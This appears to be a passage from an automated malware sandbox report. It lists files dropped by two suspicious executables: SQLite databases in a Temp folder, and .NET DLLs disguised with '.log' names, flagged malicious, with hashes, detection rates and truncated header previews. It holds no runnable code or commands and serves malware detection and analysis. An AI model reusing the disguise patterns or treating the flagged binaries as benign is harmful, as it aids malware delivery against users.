File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zDkc2FLrmP

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zFTh8fRc76

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zHoQ2PI9sR

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zPzewuvoqW

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zb5X3tZGz4

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zekGHm9LQv

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\znlMDRlHoF

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\AGJFDLPU.log

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	6.057993947082715
Encrypted:	false
SSDEEP:	3072:V2IJq7YkHFJwBTZtHrC/0/FHkINvdF+nTCkjk1U+1:V2IJq7YbrFHkIrgnTQ
MD5:	16B480082780CC1D8C23FB05468F64E7
SHA1:	6FDDF86F9F0FBAA189F5CB79E44999A3F1AC2B26
SHA-256:	7A080D8BD178EC02C7F39F7F941479074C450C4FDD8E963C993D2FB5537C7708
SHA-512:	A165BB5D7972DE124F670BCAC20B4A46727B7CF27D1ED925D02F7CC7C79D7D04122D7C202C67D7EAE798348E8D481F085282EB5B89D84B902607D7EB1155BA19
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 21%
Joe Sandbox View:	Filename: zZ1Y43bxxV.exe, Detection: malicious, Browse Filename: VqGD18ELBM.exe, Detection: malicious, Browse Filename: updIMdPUj8.exe, Detection: malicious, Browse Filename: f3I38kv.exe, Detection: malicious, Browse Filename: r6cRyCpdfS.exe, Detection: malicious, Browse Filename: Z4D3XAZ2jB.exe, Detection: malicious, Browse Filename: cbCjTbodwa.exe, Detection: malicious, Browse Filename: vb8DOBZQ4X.exe, Detection: malicious, Browse Filename: XNPOazHpXF.exe, Detection: malicious, Browse Filename: 9FwQYJSj4N.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ..................... ... ....@.. .......................`......:.....@.....................................O.... .......................@....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H...........(...........<...h.........................................................@.......0.................................................................................................................................Y........;~..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................

C:\Users\user\Desktop\BVovudjy.log

Download File

Process:	C:\Users\user\Desktop\lEwK4xROgV.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	64000
Entropy (8bit):	5.857602289000348
Encrypted:	false
SSDEEP:	768:TDPfhHfT/9IvAgoeA2U7dtZLr6SWB6/BYklKbz4Xgs7RlkUC4M+JVvTkgny:TD3Jbf2UQoBYHfSRRRC4BvPny
MD5:	5EE7E079F998F80293B3467CE6A5B4AE
SHA1:	3C0932D48F3542E9DFB09AD9E1FF70891A038532
SHA-256:	A3AE7E97703E694C479E3B460F89C16B4A511626E351145532D1A2F3BA051779
SHA-512:	056F03CB02A8A994461A5A26C2D738EE39E5AE49462222AD4937DD1CB9F29C6567D2E368EFB7844E8779B3EB3EB5D87DACDE5E3D24DF8227194DDC2E0556FF8D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ................N.... ... ....@.. .......................`......E.....@.....................................W.... .......................@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................0.......H...........\|...................................................................................................................................................................................7.pO`....<o ..F................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\CJjVexLG.log

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	6.010605469502259
Encrypted:	false
SSDEEP:	6144:f5M1rY+WGzK4NGSAhWj1dVV6cTl06YX6w/xHtRoNF:fuzzAWlvYXDRoNF
MD5:	00574FB20124EAFD40DC945EC86CA59C
SHA1:	8B96C4B6F450E711085AE7B22517C195222ACFDF
SHA-256:	3A0C38E5DC41A8D668EBDD9368CEE89F4991350E6967A9715CAE8F36E0D032BB
SHA-512:	B578007ECDCEC0D7A3A09F7E5D681A724FE2749CB46B58F5D5C96E88CAAC03C4570BB67F47BC45F01B9A47966086CC08DACB691AA2D26AD0262DC1257F7CA837
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....x............... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text....v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B.......................H........y...............Z..............................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

C:\Users\user\Desktop\EGTLBrur.log

Download File

Process:	C:\Users\user\Desktop\lEwK4xROgV.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34304
Entropy (8bit):	5.618776214605176
Encrypted:	false
SSDEEP:	768:TBS4lqbgy0+q1nyfBYUyxYIAmghwpgAaaY5:TDY0+q1noBhyufmgCgxa
MD5:	9B25959D6CD6097C0EF36D2496876249
SHA1:	535B4D0576746D88537D4E9B01353210D893F4D2
SHA-256:	4DBA0293B2BA9478EC0738BAD92F0E56CB7CF800B0CA4FDA8261EE2C0C91E217
SHA-512:	C6FA40C2DA5B12683F2785F688984754DF5E11B95170B628F2721A21CD9A6E392672166892B994B8996DC961893A57DAD815C959C6076AB4F91404FEF66141FA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 9%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....~..........n.... ........@.. ...............................G....@.....................................O.................................................................................... ............... ..H............text...t\|... ...~.................. ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........c...8...........b.......................................................................................................................................................................,....:;.....>..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\EYaePNot.log

Download File

Process:	C:\Users\user\Desktop\lEwK4xROgV.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	70144
Entropy (8bit):	5.909536568846014
Encrypted:	false
SSDEEP:	1536:3LM14SKtpfLarGzoQWaqaQ2n5YejqSRKnYdYPgh3c//npRwM:w7KtpTjNNn5YejqSRKnYdYPgJo/pRwM
MD5:	E4FA63649F1DBD23DE91861BB39C317D
SHA1:	25F9115FAF40EC6736FACF2288CAA9B0E6AF9366
SHA-256:	CB4CD707305733ADDFCC54A69DF54A0C8D47C312D969B3E8D38B93E18CCBD8E4
SHA-512:	C4B5A9D66146D98D414BC84CD5C09588E2E02B800B21CE3172042AD7F48CC4AED54772D32C891A921FF102C0C3DB1FEAF52E4D4C714ABDB15F73BAEB9A6F5A39
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .................)... ...@....@.. ..............................8.....@..................................(..S....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H..............................................................................................................................................................................................NC>.$qK...X....J................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\GFkmldBA.log

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33280
Entropy (8bit):	5.634433516692816
Encrypted:	false
SSDEEP:	384:TVyNAbQWfDL/QwV/AnmqieB2Ht50uVVxg+94HoxMttjICAQgEYhfAcGQMrygg4Ty:TKWfYwV2u3xg+94HoSbTY4f2gfcab
MD5:	0D323E1CACEA89CAA5DDEAF2F37BCA69
SHA1:	4769C3E947D02A1FD548BE64013F520D571D96E1
SHA-256:	873E7688D95DCAA5468BF94063A94C548EF0D8BE9D4111F1917DA482DBC2A64C
SHA-512:	73F4EDE6D4C62997A4F11AD09A12DFD0BFD749026209E63E52F9D979F9423FDD640E96FA59D51556001C4BE22888E59C67781970649387AF090E26AC40C0C0DE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...k..d...........!.....z............... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....y... ...z.................. ..`.rsrc................\|..............@..@.reloc..............................@..B........................H.......@`..(9..........._......................................................................................................................................................................V.4...W..e..&&................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\GqCLBHtD.log

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	40448
Entropy (8bit):	5.7028690200758465
Encrypted:	false
SSDEEP:	768:HjeDAXQDM/RgUK+1x85+CnTzP5KJcSdhRGPQPfnay:HjWB2CnTzUJcSdTdP/
MD5:	51B1964F31C557AE8C2B01EA164ABD9F
SHA1:	97C6E8FD1F21D644281FAF82D017969FE22423E4
SHA-256:	AF584F142A9A5A79355B212F8D7A2E3793E33FF23D50FDE591FB2F3E49BF308C
SHA-512:	5D06650D77DD2D574A31664FE9CEAD5E13941F99B2CFA8ECAD972B9E999422816E43A2BE469D9BBDF2778654C22A52656D23B9F230D2F6DF3F2305ABAE779AC3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 12%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..."..d...........!................n.... ........@.. ....................................@.....................................S.................................................................................... ............... ..H............text...t.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........k..@I...........k...........................................................................................................................................................................B._.@.;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\JqQCtqMt.log

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34816
Entropy (8bit):	5.636032516496583
Encrypted:	false
SSDEEP:	384:JS7LcTqpkHdmLrBmyOLkOPXVcqTZH0uZLSHtciyBDVGehpx3ZPyp1MoCy07G7:J+CaBoXTZH0mUfoGCzpapaFy07
MD5:	996BD447A16F0A20F238A611484AFE86
SHA1:	CB0F51CE7FEEE1B5F02D3F13E60D67AF448C478D
SHA-256:	0CB182B9F8BD0804FC3BBA016926199C536BD7491BA577E089271DC1A63B07BE
SHA-512:	80924C19FAF3916DB5F71BE5723B6CB7BB7F731DBBA05B8218746F11FB9470F746B7AC581DB398E388377637811319EF8D6841504DC8EA39C510D7CFCD25184C
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v..d...........!..................... ........@.. ...............................[....@.................................l...O.................................................................................... ............... ..H............text....~... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........b...;...........a.......................................................................................................................................................................k.X...=.%Cu..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\LEHLeGpf.log

Download File

Process:	C:\Users\user\Desktop\lEwK4xROgV.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	36352
Entropy (8bit):	5.668291349855899
Encrypted:	false
SSDEEP:	384:3+GMbUL+1FjuuGWkgoCFvMiAAsSZH14gXO9XBKeRg3U7ixu8bqMle9dCe4i2+o06:3+T93kgoCFkid/O9sU7io8b1ocl+o
MD5:	94DA5073CCC14DCF4766DF6781485937
SHA1:	57300CA6033974810B71CF1AB4F047A026924A7A
SHA-256:	B81B9FA9B7017BE34F62D30CB16BAAB33757F04CC94EF4D6459C9D3BC768FD18
SHA-512:	7D539ECED2F19166F0F6FAE6E2624C0440DEC87AA9751FA82387EECEF9945997ABAE58C886494633BA360B122BCA955B3DDAE26E5256E371A0528F48DFA17871
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@....................................W.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......pi..T;...........g..x........................................................................................................................................................................XWJ..%.v0................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\LsClOaRo.log

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	24576
Entropy (8bit):	5.535426842040921
Encrypted:	false
SSDEEP:	384:aShD1nf4AeGAJVdBb9h2d7WNrFBo29TZHD1qPPPPPDPC2C6/Xa3c4J9UbWr4e169:aSPUrJVH94sDBLVZHxqPPPPPDPC2C6/X
MD5:	5420053AF2D273C456FB46C2CDD68F64
SHA1:	EA1808D7A8C401A68097353BB51A85F1225B429C
SHA-256:	A4DFD8B1735598699A410538B8B2ACE6C9A68631D2A26FBF8089D6537DBB30F2
SHA-512:	DD4C7625A1E8222286CE8DD3FC94B7C0A053B1AD3BF28D848C65E846D04A721EA4BFFAFA234A4A96AB218CEE3FC1F5788E996C6A6DD56E5A9AB41158131DFD4B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...a..e...........!.....X...........w... ........@.. ....................................@..................................v..W.................................................................................... ............... ..H............text...$W... ...X.................. ..`.rsrc................Z..............@..@.reloc...............^..............@..B.................w......H........Q..D%...........P........................................................................................................................................................................pw.&..l%\....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\MBiTzGEa.log

Download File

Process:	C:\Users\user\Desktop\lEwK4xROgV.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	5.541771649974822
Encrypted:	false
SSDEEP:	768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
MD5:	2D6975FD1CC3774916D8FF75C449EE7B
SHA1:	0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
SHA-256:	75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
SHA-512:	6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 38%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....\|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\Mjflenyr.log

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38400
Entropy (8bit):	5.699005826018714
Encrypted:	false
SSDEEP:	768:bvTf5JA7rmkHDkK6/X7rpCA0U4oW+YcSNdb/deQoCDKmc:bTffImkjkK6/QAhaceb/dum
MD5:	87765D141228784AE91334BAE25AD743
SHA1:	442BA48B1B5BB158E2E6145B0592F81D20CB9C57
SHA-256:	9A121719F71383CF66FC36453679B36C8D24CC61EB335D0C304536E5D72AAAEB
SHA-512:	77FF7244F4E181A1F2B69A8814E1EFC0B7B55CD551B8D22F5A08039156295F6417D0E2E58265F1C07F8EA2BA3B24D9810B4B3E91B13943688C7450F736746657
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...c..d...........!..................... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......Dm...?..........<l......................................................................................................................................................................Q[..u.......;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\NjoTfhRh.log

Download File

Process:	C:\Users\user\Desktop\lEwK4xROgV.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	6.057993947082715
Encrypted:	false
SSDEEP:	3072:V2IJq7YkHFJwBTZtHrC/0/FHkINvdF+nTCkjk1U+1:V2IJq7YbrFHkIrgnTQ
MD5:	16B480082780CC1D8C23FB05468F64E7
SHA1:	6FDDF86F9F0FBAA189F5CB79E44999A3F1AC2B26
SHA-256:	7A080D8BD178EC02C7F39F7F941479074C450C4FDD8E963C993D2FB5537C7708
SHA-512:	A165BB5D7972DE124F670BCAC20B4A46727B7CF27D1ED925D02F7CC7C79D7D04122D7C202C67D7EAE798348E8D481F085282EB5B89D84B902607D7EB1155BA19
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ..................... ... ....@.. .......................`......:.....@.....................................O.... .......................@....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H...........(...........<...h.........................................................@.......0.................................................................................................................................Y........;~..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................

C:\Users\user\Desktop\OpmblTzY.log

Download File

Process:	C:\Users\user\Desktop\lEwK4xROgV.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38400
Entropy (8bit):	5.699005826018714
Encrypted:	false
SSDEEP:	768:bvTf5JA7rmkHDkK6/X7rpCA0U4oW+YcSNdb/deQoCDKmc:bTffImkjkK6/QAhaceb/dum
MD5:	87765D141228784AE91334BAE25AD743
SHA1:	442BA48B1B5BB158E2E6145B0592F81D20CB9C57
SHA-256:	9A121719F71383CF66FC36453679B36C8D24CC61EB335D0C304536E5D72AAAEB
SHA-512:	77FF7244F4E181A1F2B69A8814E1EFC0B7B55CD551B8D22F5A08039156295F6417D0E2E58265F1C07F8EA2BA3B24D9810B4B3E91B13943688C7450F736746657
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...c..d...........!..................... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......Dm...?..........<l......................................................................................................................................................................Q[..u.......;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\PmOjGTOT.log

Download File

Process:	C:\Users\user\Desktop\lEwK4xROgV.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.660491370279985
Encrypted:	false
SSDEEP:	768:1Q8H1q0rErIq3y48wo5iJyNJZ+pkw82VhgwgKZ:brErIqxPJRkw/VOwbZ
MD5:	240E98D38E0B679F055470167D247022
SHA1:	49888CCED719AE78EE3BAE2959402749668AA1C6
SHA-256:	C200E1BE39C35F8E57A0E1E241723FDB956089BC8EAD1235042456C7A3C4AD28
SHA-512:	93C1B6396C65C9EDACEFD6606A9563935D3C1331454DA69FA75D9B1CCE4D102A5F1B27B63FC3A7E485A083D8DAB1E6C4ECD01DD3CFED9B58DA6F4E90CC4F2998
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
